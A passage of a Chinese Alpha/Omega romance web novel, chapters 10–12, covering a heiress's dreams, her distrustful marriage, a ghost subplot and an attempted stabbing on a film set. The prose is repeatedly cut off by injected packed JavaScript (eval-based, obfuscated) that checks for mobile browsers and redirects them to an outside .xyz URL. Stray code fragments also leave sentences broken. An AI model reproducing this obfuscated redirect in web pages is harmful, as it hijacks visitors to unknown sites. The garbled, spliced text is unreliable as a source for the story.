“真的?”颜龄瞪着关景墨,瘦削的手指不自觉地抓紧他,印下几道指痕。 “真的,”关景墨忍着疼痛,语气笃定,“我会尽全力帮千澄的,交给我吧,不用担心。” 颜龄神情稍慰,医生给她打镇静剂,她很快就陷入昏睡。 颜千澄红着眼圈,帮祖母盖好被子,轻轻梳理她苍白的头发,仔细检查日用品有没有短缺,才一步三回头地离开病房。 关景墨默默跟在她身后。 走了一段路,颜千澄忍不住回头,问:“刚刚祖母的话,是什么意思?” 关景墨没料到颜千澄会跟他说话,一时怔愣。 高端疗养院,装潢陈设更胜星级酒店,走廊宽阔,空气里弥漫着淡淡的消毒水味。 明亮的灯光落在颜千澄完美的五官上,动人心魄。 她乌黑的眼眸里,满是疑惑。 可未等关景墨回答,颜千澄满眼的疑惑便迅速冷却。 为什么要问这个人? 这人的回答,能信吗? 颜千澄如今都分不清楚,关景墨到底哪句话是真,哪句话是假。 “算了,我去问医生。”颜千澄摇摇头,转身向医生办公室走去。 关景墨将喉头的解释与酸楚吞下,继续默默跟着她。 半空处,阴影冷冷一笑,畅快地舒展身子。 目标人物和他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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喻君辞叹气:“千澄,你明白三年,能发生多少事吗?其实你可以多关注一下周围,有不少适合你的Omega……” 喻君辞的话,初听时没什么感觉。颜千澄年轻,自信,觉得未来掌握在自己手中,满心都是天真的希冀。 全没想到,喻君辞会一语成谶。 在梦里,再一次听到他当时的回答,颜千澄只觉得心如刀绞。 然后,是现实中,不曾听喻君辞说过的话。 喻君辞背对着她,不让颜千澄看他的表情:“千澄,百年修得同船渡,千年修得共枕眠(1)。有时候,不是互相喜欢,就能在一起的,需要缘分。” 他顿了顿,声音转低,温柔又伤感,听起来,像颜千澄曾反复播放的一首外国古典名曲:“其实,这一世,从一开始到现在,我一直都不觉得,你我有这样的缘分。” 颜千澄默默听着,无法反驳。 最后,只能小声问一句:“可是,我心里好难过,怎么办?” “我……”喻君辞顿了顿,轻叹,“千澄,我只盼你能平平安安。你的平安,比一切重要,比你我的缘分更重要……” 意识混沌一阵,颜千澄做第二个梦。 父亲和母亲,又在争吵。 颜千澄一直不理解,他们既然过得那么痛苦,为什么不放过彼此,各自安好。 偏要在痛苦的漩涡里越陷越深,伤人伤己。 现实中,她的父母是驾车冲入江里死的。 梦里,父亲和母亲,心脏处都有一团黑色的火。 有个黑暗的影子在撩拨他们的黑火。 黑火一下子窜高,爆炸,将他们焚烧贻尽。 然后,黑影抬头,打量她,找她的黑火。 找了一会儿,没找到。 颜千澄脖子上的平安结,发出柔和温暖的光辉,守护着她。 她听见有人在大声喊:“不要伤害她,你冲我来,我愿意代替她!” “我不用别人代替我。”颜千澄赶紧说。 她循声望去,想看看是谁这么傻。 10.第 10 章 沉沉的黑暗中,颜千澄看不清楚周围。 找了又找,找不到是谁在说话。 只听到一个模糊的声音在反复说“不要伤害她”,“她是很好很好的”,“我喜欢她”…… 梦里的颜千澄想,也许是哪部电影的情节吧,她自小就喜欢电影,各种题材都看,玄幻题材的也看过不少。 场景转换,变成祖母的病房。 这次,又梦见现实中发生过的事。 她出席完庭审,看着关景墨的堂弟被押去少管所,回家洗个澡,收拾复杂的心情,前往颜氏集团处理事务。 正忙着,接到祖母的电话,赶紧放下一切工作去见她。 那时候,祖母精神还好。 祖母让她在床边坐下,拉着她的手。 颜千澄意识到,祖母要说很重要的话,她收敛心神,认真听着。 历经数十载风雨的颜氏集团掌舵人,原本锐利的一双眼睛,已开始变得浑浊,但当她勉强提起精神,专注地盯着人看时,仍流露出几分漫长岁月积淀下来的睿智。 她就用这样疲累而不失睿智的目光,注视着颜千澄,问:“千澄,这么多年,我待你怎样?” 声音低微,不复往日清朗。 她已无力用正常的音量说话了。 颜千澄鼻子酸酸的,强忍着泪水,回答:“祖母待我极好。” 是的,颜千澄的祖母,真的对她很好。 在颜千澄心目中,祖母是一座巍峨的高山,一柄为她遮风挡雨的伞。 现在,高山正在崩塌,雨伞即将折断。 颜千澄得知父母车祸离世时,只是难过了一会儿。 当看到相依相伴多年,最敬爱的祖母,躺在病床上,像是随时要离她而去,一时只觉得难以接受。 这一天,怎能来得这么快呢? 她还没来得及好好孝顺祖母呢。 真的要子欲养,而亲不待吗? 颜龄看着最疼爱的孙女,心中不舍,不忍。 但她执掌颜氏集团多年,早将集团的利益,置于一切之上。 颜氏集团风光锦绣的未来,是她心底最大的期盼。 她勉强提起精神,缓缓劝说:“千澄,祖母知道,关家的事,让你受委屈了。祖母也知道,你不喜欢景墨,你心里有喜欢的人……好孩子,我都知道的……” “我疼爱你,盼你能一切顺心。可是啊,人生在世,有时候,为了更重要的东西,是要做些妥协的。” “我知道,这些年来,你一直在努力学习经营颜氏,你的天赋也不错,我相信,在你的引领下,颜氏集团一定可以蒸蒸日上。” “可是啊……” “如果说,你是个全才,关景墨这人,就是个奇才。我在商海浮沉多年,阅人无数,就没见过商业天赋比他高的。” “你天赋全面,无论做什么事,都能做到优秀。这么说吧,如果满分是一百分,你所有科目,都能考九十分以上。” “而景墨呢,这些年来,我一直在关注他,他别的不及你,但在经营发展集团这方面,他有能力拿二百分!” “这样的奇才,你身为颜氏集团的继承人,是必须牢牢掌控在手中的!” “他本来就喜欢你,现在又成了你的人,于公于私,你都应该放下芥蒂,负起责任,迎娶他进门。” “让他协助你经营颜氏,让他生下颜氏集团的下一任继承人……” 颜千澄一直听着,心里一阵阵难受。 她想说,如果考九十分还不够,她会再努力,把分散在其它方面的精力都聚拢起来,日日夜夜努力,尽她所能,考一百分以上。 她想说,她可以广招天下贤才,努力找到其他天赋才能卓绝的奇才。 她想说,她根本就不想再碰关景墨,连看他一眼都不愿意。 可无论什么话,都被自小敬爱的祖母一句话堵住了: “千澄,这是我的遗愿,当我求你。” 现实中,当时病房里,只有她和祖母两个人。 梦里,她的身后,阴影又出现了。 它看看病重的祖母,又看看难过的她,似乎很开心。 …… 真真假假,虚虚实实,现实与幻影相交错,颠三倒四的梦。 颜千澄坐在床上,缓了好一会儿。 白天忙着拍戏,没吃多少东西。晚上探望祖母,担心她,心情不好,回到祖宅,佣人准备的晚饭和夜宵,她一口没吃。 现在肚子饿了。 看看时间,凌晨一点,佣人想必已睡熟,就别叫醒他们了吧。 想着厨房冰箱里应该有食物,颜千澄披衣起床。 下楼,路过书房,看见有灯光从门缝透出。 颜千澄疑惑,都这么晚了,谁? 她停下脚步,推开门。 “……你半夜打电话来,就跟我说几个数字?” “事关重大,打扰我没关系,可就这几个数字吗?没有别的?我是真的不知道,这几个数字有什么含义。” “先记下吧,6,12,130,对吧?” “稍等,先别挂,我有事跟你说……” 是关景墨。 颜氏祖宅的书房很大,几张紫檀木书桌,一排排的书架,成千上万本古今中外各类书籍。 关景墨坐在角落,面前摆着笔记本电脑和一叠资料。 他正拿着手机,不知道在跟谁说话。 不像是公事。 颜千澄一直认为,她跟关景墨的婚姻,无论有怎样的起因,本质上都属于商业联姻。 就跟她父亲的婚姻一样。 她母亲和关景墨,都是祖母为颜氏集团的利益着想,给颜氏继承人挑选的配偶。 父亲是屈服于祖母的权威。 她是深爱祖母,不忍在祖母最后的日子,拂逆她的心愿。 既然不是因感情,而是因利益而结合,那对方的私事,就别干涉了吧。 颜千澄准备关门,离开。 关景墨恰巧在这时候抬头,看见她,失声喊:“千……千澄……” 手机掉到地上,“啪”的一声,在寂静的深夜,格外响亮。 场面有点尴尬。 颜千澄实在不知道该说什么,沉默。 关景墨顾不上地上的手机,小声说:“我以为……以为你已经睡了……” 话一出口,就想咬掉自己的舌头。 这话听起来,会不会奇怪? 以为千澄睡了,所以自己在干些要瞒着她的事? 关景墨手足无措了一会儿,目光落到桌面那叠资料上,赶紧拿起来:“我……我刚刚在看财务报表……你要不要看看?” 这是公事,颜千澄没拒绝,走过去,在关景墨对面坐下,接过他手里的财务报表。 报表很漂亮。 很多人认为,Omega就应该安守家庭,乖乖生儿育女。 颜千澄没有这样的想法。 她一直都觉得,Omega只是体力不及Alpha,在智慧才能上,Omega并不比Alpha差。只要有合适的机会,他们也可以做出自己的一番事业。 下药事件前,她其实挺欣赏关景墨。 无关爱情的,纯粹的,欣赏他这个优秀的人。 俗话说,天无二日,民无二王。 一个集团,并不需要两个最高决策者。 祖母说,关景墨是个商业奇才,在经营管理集团上,可以做得比她更好。 颜千澄相信祖母的眼光。 她没有被比下去的憋屈感,没有非要证明自己能做得比他好的想法。 她权欲心不重,没想过要紧抓权位不放,也没有发号施令的爱好。 于是,跟关景墨商业联姻后,颜千澄就放权给他,把颜氏集团交给他经营。 本想去祖母身边,陪她度过最后一段日子。 但祖母劳碌一生,见不得孙女浪费时间,催她去工作。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908134|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 颜千澄只好换个方向,去演自小热爱的电影了。 如今,盯着漂亮的财务报表,颜千澄陷入沉思。 她一直都不怀疑关景墨的才能。 她怀疑的,是关景墨的野心,以及他对颜氏集团的忠心。 下药事件,关景墨是不是将计就计,是不是想借机逼她这个颜氏集团继承人娶他,图谋颜氏集团…… 网上有很多说法。 颜千澄曾相信过关景墨。 但关景墨反复无常的态度,让她怎么再信他? 她让颜氏集团高管和律师团一起,制定严谨周到的婚前协议。 她挑选出可以信任的人,有的放在重要岗位上,有的调到关景墨身边。 关景墨现在的总裁助理,女Omega卫蓝,就是她的心腹,协助关景墨工作的同时,关注他有没有可疑的,会损害颜氏集团的行为。 颜千澄以前看权谋电影,皇帝让大臣办事,又不信任大臣,种种试探他,监视他。 当时她觉得,这皇帝疑心太重了吧,疑人不用,用人不疑啊,大臣好可怜。 轮到自己,才知道,人心隔肚皮,一个人可不可信,不是那么容易看出来的。 她不能拿整个颜氏集团来赌。 最终,她只能学着以前的皇帝,一边用关景墨这奇才,一边防范他。 到目前为止,关景墨没有再引起她的疑心。 婚前协议,他看几眼,就签了。 颜千澄以前看过一部三流爱情电影。 一个从大山里出来的,纯朴不谙世事,连金银珠宝值多少钱都没有概念的Omega,不小心摔了一跤,将果汁洒到Alpha霸道总裁的名贵西装上。 Alpha霸道总裁邪魅一笑:“Omega,你引起了我的注意。” Alpha霸道总裁追追追,单纯Omega逃逃逃,单纯Omega插翅难飞。 两人相爱,Alpha霸道总裁家里想阻挠他们,要单纯Omega签婚前协议。 单纯Omega爽快地签了。 三流爱情电影想表达单纯Omega很单纯,纯洁得就像一张白纸,对钱财没有丁点概念,跟他谈钱是侮辱他,他脑子里只有爱情。 颜千澄不太理解。 也没在现实中见过类似电影里单纯Omega的人。 直到,亲眼看到关景墨签婚前协议。 颜千澄是没打算用婚前协议,图谋关景墨的个人财产。 可也没给关景墨任何图谋颜氏集团的机会。 她真没想到,一个掌控大型集团多年,商业才华得到祖母亲口称赞的人,签婚前协议时,居然爽快得就像那个恋爱脑单纯Omega。 婚后,关景墨入主颜氏集团。 颜千澄明里暗里安排了人,以关景墨的才能,他应该多多少少看出来了。 但他仿佛不知道似的,该用时照样用,平时也没有刻意回避他们。 颜千澄的心腹卫蓝说,关景墨工作很认真,也真的很有能力,做出的几次决策相当英明,颜氏集团的高管们渐渐被他折服。 没有可疑的举动,言语态度也极忠诚。 颜千澄不在集团的时候,他话里话外,都不忘维护颜千澄的核心地位。 就是似乎私务很多,总是很忙。 卫蓝有次在他办公桌上,看到国外某神秘现象研究机构的资料。 关景墨在资料上圈圈画画,花了不少心思。 不过绝大多数员工,都多多少少会在上班时间处理私务,颜千澄觉得这是小事,只要不影响本职工作就行。 重点是,关景墨对颜氏集团的忠诚度,似乎远超她的预期。 颜千澄开始怀疑,关景墨扔掉脸面,想尽办法要嫁她,或许真的不是图谋颜氏集团,不是在谋求什么利益,而是…… 他就是个恋爱脑。 看过那么多电影,研究过那么多角色,这是颜千澄最不能理解的人设。 11.第 11 章 “这财务报表有什么问题吗?”见颜千澄久久不说话,关景墨紧张地问。 颜千澄一怔:“你觉得呢?” 这么多年来,关景墨看过的财务报表,能堆满一个大仓库了吧。 报表有没有问题,他应该扫两眼就知道了啊。 颜千澄用的是疑惑的语气,没有一丝质疑或批评的意味,语调平缓。 关景墨仍是紧张,像个不小心犯下大错,被拎到班主任面前的小学生:“我……我再看看……” 他拿过颜千澄手里的财务报表,从头到尾仔仔细细盯着看,像要在纸上盯出窟窿来。 颜千澄无奈:“我觉得应该没问题。” 关景墨松了口气。 颜千澄说:“你做得不错,辛苦你了。” 话一出口,两人都愣了。 下药事件后,这是颜千澄对关景墨说的,第一句有点暖意的话。 颜千澄的祖母颜龄,在颜千澄稍稍懂事后,就把对她父亲的一切期望,转移到颜千澄身上。 颜龄细细地教颜千澄,该怎样管理集团,下属做得不好时,该怎样指正,下属做得好时,该怎样鼓励称赞。 为了让祖母开心,颜千澄一直认真学习,学得很好。 看到漂亮的财务报表,就应该赞赏辛苦工作,表现出色的高管。 对颜千澄来说,是条件反射,是多年培训出来的自然而然的反应。 反应太快,一时没想到跟关景墨的旧怨,以及他们如今尴尬的关系,就脱口而出称赞他了。 颜千澄略尴尬。 不过公事公办,对事不对人,一句很普通的话而已,她也没说错。 关景墨的眼圈却一下子红了。 他喉头哽了几下,再出声时,声音已经沙哑:“我……我不辛苦……你……你别再生我气就好……” 颜千澄原本有点回暖的乌黑眼眸,迅速冷却。 不管怎样。 关景墨没有尽好监管责任,让她这个参与关氏集团庆典的客人被下药,是事实。 她中药后,他冒冒失失的独自一人跑来,是事实。 他刚说不用她负责,答应去做完全标记去除术,转头就反悔,是事实。 他去找她祖母,利用她对祖母的感情,逼她娶他,是事实。 颜千澄站起身,盯着关景墨。 “你觉得,我能不生气吗?” 问完,也不想听关景墨的回答,颜千澄转身走了。 气呼呼的来到厨房,颜千澄随便找些食物填饱肚子。 突然想起梦中情景。 父母日日夜夜的争吵,以及他们的结局。 颜千澄一时怔愣。 父亲和她,心里都另有所爱,商业联姻后,婚姻都不幸福。 难道,她以后会跟父亲一样? 她会变成自己最讨厌的模样? 变成电影里那个怀疑大臣的皇帝,没关系。 人在江湖,身不由己,她肩上担着整个颜氏集团,自然要多考虑些。 但她讨厌父亲,不想像父亲,不想走他的路。 哦,不会的。 父亲痛失所爱后,放浪形骸,有时为了得到看上的Omega,还会做些恶事,害人害己。 她则把伤痛打包好,小心翼翼地放在内心深处的角落,然后专心发展自己的事业。 他们的配偶,也不一样。 母亲心高气傲,不仅希望丈夫只爱她一个,还要丈夫高高捧着她,时时吹捧她,跪着爱她。 得不到专一和跪.舔,她就一直作一直闹。 关景墨呢? 死皮赖脸的嫁给她后,关景墨好像就满足了。 她怀疑他,防范他,明确告诉他,她不会爱他,不会碰他。 关景墨就红着眼圈低着头,安安静静,不作不闹。 颜千澄实在不知道,关景墨到底想怎样。 算了,明天还要拍戏,不想了。 颜千澄深呼吸几下,收拾心情,回房间继续睡。 书房里。 关景墨咬着下唇,泪水模糊了视线。 是啊,她怎能不生他气呢。 总是这样。 在千澄面前,自己总是这么笨。 脑子混混沌沌,什么都想不了,笨笨笨,笨得无可救药。 总是把一切搞砸。 难怪她不喜欢自己,讨厌自己…… 自怨自艾良久,关景墨努力平复心情,捡起地上的手机。 手机没坏。 通话居然还没断! 关景墨将手机放到耳边:“在?” “在的在的!”手机里传来姚甜甜咋咋呼呼的声音。 关景墨揉揉太阳穴。 他的错。 一看到千澄,心里眼里全是她,一时没想起看看通话断了没。 又搞砸一件事,让外人听到千澄跟自己的对话,影响她的形象。 哦,应该不会影响千澄的形象。 他干了那么多不要脸的事,网上很多人都恨不得将他千刀万剐,千澄作为直接受害者,只是对他冷淡些,偶尔嘲讽一下,已经非常有修养了。 “嗯……那啥,你还好吧?”姚甜甜关心老板。 关景墨又揉揉太阳穴:“这时候比较有礼貌的做法,是装作什么也没听见。” 姚甜甜马上说:“哦哦,我刚刚在苦读《论一个好员工的自我修养》,什么也没听见哈。” 顿了顿,好员工姚甜甜想起一件要紧事:“其实,我有个小小的问题,就是,那啥,手机通话费可以报销吗?你之前给我那笔钱,我用来买回姨婆的遗物了,现在挺穷的哈。” 关景墨:“……可以。” 事实证明,人与人的悲喜是不相通的,老板在想他的爱情,员工在想她的手机费。 心头大石落地,姚甜甜笑开了花:“你之前想跟我说什么?” 关景墨收敛心神,继续说正事:“颜董好像看见怨灵了。” “颜董是谁?”姚甜甜问。 “千澄的祖母,”关景墨忧心,“她以前看不见的,今天突然看见了,还说怨灵要害千澄。” 姚甜甜想了想:“颜千澄的祖母……年纪挺大的吧?身体怎样?” 关景墨答:“不太好,病了几个月了。” 姚甜甜组织措辞:“你知道的哈,我毕业没多久,没受过社会毒打,不太会说话,说得不好听你别介意啊,就是……嗯……我以前听姨婆说过,一个人大限将至的时候,阳气衰竭,他们的世界,阴与阳的界限会变得模糊,可能就会看到以前看不到的……有人还看见有鬼差来锁他的脚呢……” “你的意思是,颜董可能时日无多了?”关景墨问。 姚甜甜叹气:“应该是了。” “能算算还有多久吗?”关景墨问。 姚甜甜踌躇:“你给我她的八字,我试着算算,不过事先声明,我是初学者,准确率不保证的哈。” 她试图安慰老板:“其实生老病死,每个人都要经历的,她能看到孙女成家,已经算高寿了,你看怨灵都不想对她出手,她的寿数应该就这样了,你们要看开些……” 关景墨闭了闭眼。 颜龄对他有知遇之恩,他一直感激她,尊敬她。 知道颜龄即将离世,他自然会遗憾伤心。 还有一点。 关景墨喉头像哽了个硬块:“千澄是因为颜董才娶我,等颜董逝世,她可能就会跟我离婚了……” 到时候,在怨灵眼里,他还算是她的亲人吗? 他还有资格救她吗? ------ 第二天,颜千澄早早起床,回到剧组。 刚换上戏服坐下,桑椹就飞快跑到她身边,递上一杯饮料:“千澄姐姐,你喜不喜欢喝冰绿茶?” 他漂亮的双眸闪闪发亮,笑得明媚灿烂。 周围一堆视线“嗖嗖嗖”地照射过来,整个剧组都惊了。 桑椹童星出道,头顶“娱乐圈第一美人”称号多年,一直心高气傲,眼高于顶。 向来只有别人讨好他,他什么时候放下过身段讨好别人? 他这还不是一般的讨好,瞧那殷勤劲,就差背后长条尾巴摇摇摇了。 再看桑椹讨好的对象…… 哦,是颜千澄。 三百六十度无死角的现任娱乐圈第一美人。 著名财团颜氏的董事长。 一个无论从哪方面看,都很优秀,很完美的Alpha。 除了英年早婚,她简直就像小说电影里的主角,突破次元壁来到这个世界。 心高气傲的桑椹栽在她身上,好像也不是不能理解…… 注意到周围震惊、八卦、艳羡、鄙夷种种视线,再看到桑椹的经纪人欲言又止,烦恼地挠头发的样子,颜千澄有点头痛。 她压低声音:“我觉得,之前我们已经说得很清楚了。” 桑椹脸上的笑意淡了淡。 是的,昨天收工后,他向颜千澄表白,颜千澄很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915227|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明确地拒绝了他。 嘶,原来被拒绝的感觉,是那么难受,心都碎成一瓣瓣了…… 可是,他不会放弃的! 他要做一个绿茶! 绿茶挖墙脚,成功率很高的! 他,桑椹,两届影后得主,现任娱乐圈最美Omega,一定可以成为一个成功的绿茶! 虽然他不知道,具体要怎样做! 但可以先从喝绿茶开始! 桑椹眨眨眼睛,一脸真诚:“嗯嗯,千澄姐姐,我都明白的,我不是那个意思……只是今早心情好,想请大家喝饮料,每个人都有的,我想大家这几天拍戏辛苦了,慰劳一下大家……” 颜千澄看看周围,确实很多人拿着同款的饮料,再仔细观察桑椹递给她的冰绿茶,是附近一家挺有名气的店出品的,杯子和饮管的包装都完完整整。 同事一场,她不好太下桑椹的面子,接过冰绿茶,说了声“谢谢”。 其实颜千澄有点奇怪,记得桑椹以前是个坚定的咖啡党,天天让助理泡几杯咖啡当水喝,弄得剧组里总弥漫着一股咖啡味。 现在桑椹手上,拿着跟她同款的冰绿茶,已经喝掉一半了。 想到现在两人有点尴尬的关系,颜千澄没有多问。 如果桑椹是颜千澄的普通朋友,颜千澄会提醒他,绿茶寒,冰绿茶更寒,不适合阴寒体质的Omega喝,喝多了可能会肚子疼。 但现在,跟桑椹说这种关心话,说不定会让他误会。 想着桑椹是国际级大牌演员,身边有个庞大的团队,有经纪人和营养师盯着他,照顾他,不需要她多事。 于是颜千澄什么都没说,淡淡微笑着,客气礼貌。 桑椹脸上的笑意又淡了淡。 颜千澄这表现,明显是习惯成自然。 在他之前,肯定有很多很多很多人喜欢她,向她表白过。 被表白后,该怎样拒绝,才能不伤对方的颜面,又坚定坚决,不给对方无谓的希望。 拒绝后,再跟对方见面,该怎样相处,才能减少尴尬,又让对方无机可乘。 颜千澄处理这些状况,已经是熟极而流了。 她就这样,稳稳拿捏好跟他之间的距离。 他的真心与努力,像撞入一团厚棉花,被轻柔地反弹回来。 桑椹咬牙。 不! 这是他第一次动心,他不想放弃! 攻略难度越高,越证明她好! 越证明自己没爱错! 慢慢来!心急吃不了热豆腐! 颜千澄不让他做她的Omega,他就先做颜千澄的朋友! 桑椹调整呼吸,笑容又明亮起来:“千澄姐姐,你喜欢喝什么饮料?” 颜千澄想了想:“我没什么特别喜欢的。” 她是没什么偏好,矿泉水、茶、汤、果汁、酒……都可以喝。 渴了,手边有什么就喝什么。 看看手里的冰绿茶…… 突然,又想起那个人。 喻君辞。 他喜欢喝茶。 不是网红店卖的茶饮料,而是用古法冲泡的热乎乎的茶。 喻君辞没跟颜千澄说过,是颜千澄自己猜的。 颜千澄曾在校道上遇到喻君辞,看见他抱着新买的茶具,一脸心满意足。 她暗暗估算过,那中档的茶具,得费喻君辞几个月的工资。 颜千澄曾想送喻君辞一套更好的茶具,和上好的茶叶。 千挑万选,终于找到勉强满意的。 可是,怕唐突他,左思右想,犹豫好久,终究没送出去。 颜千澄微微摇头。 不能再想了。 不该再想了…… 桑椹烦恼。 做绿茶好难。 哎,不要说做绿茶了,找话题跟喜欢的人说话,都好难。 以前,都是裙下之臣们争着抢着,找话题找借口跟他说话的。 啊啊啊,他们是怎样找话题找借口的?快想起来快想起来! 桑椹挠头,看见颜千澄拿起剧本,翻到今天要拍的那页。 灯光师在调试设备,或明或暗的光,偶尔落在她完美的五官上。 每一次光影变幻,都有独特的美感。 美得动人心魄。 她低头看着剧本,浓密纤长的睫毛有规律地扇动着,神情认真专注。 颜千澄,真的很爱电影啊。 桑椹呆了一会儿,突然,脑海里灵光一闪! 12.第 12 章 啊,他根本就不用费心找话题啊! 他怎么忘了,他跟颜千澄,有同样的爱好,有共同的事业啊! 比起颜千澄那个只会赚钱的有名无实的夫君,他,桑椹,自小出道,在娱乐圈浮沉多年,拍过无数电影……他更有机会成为颜千澄的灵魂伴侣啊! 桑椹精神一振,谈起电影和拍戏,他轻松自如很多:“千澄姐姐,今天要拍刺杀戏呢。” 桑椹说起工作,果然吸引到颜千澄的注意,她抬头看他:“拍这戏,会有危险吗?” “不危险不危险!”桑椹想着绿茶应该温柔体贴,赶紧安慰颜千澄,“千澄姐姐你不用怕的!” 颜千澄奇怪:“我不怕啊。剧本里说,你会扑过来帮我挡刀子,有危险的是你,真不会出事吗?” 桑椹演技精湛,工作认真,是个不错的同事。 任何一个有人性的人,都不会希望同事受伤吧。 桑椹脑子晕乎了一下。 就算心里清楚,颜千澄的关心,没有任何暧昧意味,仅仅出于人道主义,也够让他高兴的了。 他把大牌演员的形象和矜持都抛到脑后,笑得无比灿烂:“不会出事的,我拍过很多次这样的戏了。剧组用的是可以伸缩的匕首,匕首没有开刃,一碰到我的身子,就会自动缩起来,伤不到我的。我手里藏着血包,一中刀,就用手捂住中刀的‘伤口’,捏破血包让里面的色素出来,手指夹着匕首,帮忙固定着,不让它掉下来……” 颜千澄认真听完,保险起见,问:“我能不能看看那把伸缩匕首?” “能的能的,”桑椹殷勤,“在道具组呢,他们正在做例行检查,我带你去看。” 有桑椹这内行带路,颜千澄很快见到拍戏用的伸缩匕首。 她右手握着匕首柄,刀尖对准自己左手手心,稍用力刺入。 匕首压到手心肌肤后,果然一节节缩回匕首柄里,丝滑流畅,只在颜千澄的手里留下一个浅印子。 看起来是挺安全。 桑椹见颜千澄感兴趣,就陪她看其它道具,比如血包血袋,有的血包是藏在嘴里的,用可食用色素、水、淀粉、蜂蜜等做成,可以用来模拟嘴角流血,有的是藏在戏服里或拿在手里的,就不用可食用的材料了,一般用乳胶、海绵和色素等制造。如果用血量大,就用鸡血鸭血等替代。 在自己的专业领域,桑椹足够自信,介绍起来头头是道。 只是没讲多久,导演就来提醒他们,该准备拍戏了。 颜千澄配合度很高,一听到导演提醒,就立即去她的位置坐好。 桑椹身为戏里颜千澄的宠妃,站在她身边。 所有人各就各位。 新皇登基,举办宫宴。 丝竹管弦声中,女皇一向疼爱有加的亲弟弟,摔了一只杯子。 紧接着,几名乐师抽出兵器,向颜千澄攻去! 侍卫们赶紧去拦。 有的刺客被拦住,有的武艺高强,越过侍卫的防线,继续冲向颜千澄。 桑椹正为颜千澄斟酒,见状“啊”的尖叫一声,一脸惊恐。 颜千澄将惊恐的宠妃护在身后。 剧本里,女皇精于谋略,并不擅武,颜千澄就没动手,护着宠妃狼狈地躲闪,等她那个被调虎离山的心腹侍卫长赶来。 躲闪几次,是时候了。 一个错身间,手握匕首的刺客,贴近了颜千澄。 这次,躲不了了。 女皇正准备挨刀,一直躲在她身后,怕得瑟瑟发抖的宠妃,突然勇敢地斜跨两步,张开柔弱的手臂,以身为盾,拦在她身前。 匕首一刻不停,向Omega宠妃刺去。 演员们都很认真。 一切,都在按剧本发展。 只是…… 电光火石间,颜千澄突然发现,刺向桑椹的匕首,跟她之前在道具组见过的伸缩匕首,好像有点不一样? 是她看错了,还是记错了? 扮演刺客的男Alpha演员,双眼紧紧盯着桑椹,眼底发红,一脸狠戾。 是演技逼真,还是本性流露? 情况紧迫,颜千澄一时分不清楚,也不多想了。 毕竟,如果弄错了,大不了赔礼道歉,丢点面子。 如果没弄错,后果不堪设想。 自己的面子,和别人的生命安全,孰轻孰重…… 颜千澄心中瞬间有了决断。 她用力一扯,再一次将桑椹拉到身后。 桑椹莫名其妙,剧本里不是这样写的啊。 难道千澄姐姐觉得,在生死危机之中,女皇和宠妃拉扯几个回合,互相想为对方挡刀,更显情深? 桑椹想顺着颜千澄的表演,再去她身前为她挡刀,却被她喝一声“躲好!” 紧接着,桑椹看到,剧本里不擅长武术的女皇,抓起桌上的果盘,精准地掷到刺客脸上。 然后,颜千澄趁刺客疼痛忙乱的瞬间,闪身几步,避过刺客在半空中胡乱挥舞的匕首,来到他身后,用比剧组里的武术指导还要专业的手法,一手抓住刺客拿匕首的手腕,一手绕到刺客脖子上,扼住他的咽喉,再一脚踢到刺客膝弯里,用力压着他,逼他跪到地上。 整套动作行云流水,在场的大部分演员还在懵着,颜千澄已经将刺客制服了。 扮演刺客的男Alpha演员拼命挣扎,狠声喊:“放开我!” 颜千澄加点力压住他,恐吓:“老实点吧,我是上届全国武术大赛的冠军,不会给你任何机会的。” 颜千澄的表现,已经跟剧本完全不一样了,桑椹意识到出事了:“怎么回事?” 颜千澄抓紧刺客的手腕,仔细观察他手里的匕首,沉声说:“这匕首开刃了,不是剧组的道具,是杀人凶器。” 桑椹打了个冷颤。 全场大哗,附近的演员和工作人员赶紧往外跑,颜千澄和男Alpha演员周围瞬间清出一片空地,紧接着,空地又被闻声赶来的剧组保安和颜千澄的保镖填上。 苦心准备的杀人计划败露,男Alpha演员再一次用尽全身力气挣扎扭动,额头青筋都露出来了,还是挣不开颜千澄的禁锢。 她果真没给他任何逃脱的机会。 男Alpha演员气极:“姓颜的!你多事什么!我要杀的又不是你!” 颜千澄示意剧组保安拿走男Alpha演员的匕首,搜遍他全身上下,看看有没有别的凶器,再让保安保镖们一拥而上,按压着他。 她走开几步,拍拍身上的戏服,问:“那你要杀的,是谁?” 男Alpha演员盯着桑椹,双眼发红暴突,毒蛇般怨戾。 桑椹又打了个冷颤:“我怎么得罪你了?” “你一个Omega,凭什么拿奖?凭什么那么红!”男Alpha演员恨声喊,字字怨毒,“用那几分姿色钓Alpha啊!去嫁人啊!去生孩子啊!为什么要出来跟我们抢奖项,抢人气?啊?你这个贱XXXXXX……” 他破口大骂,越骂越难听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 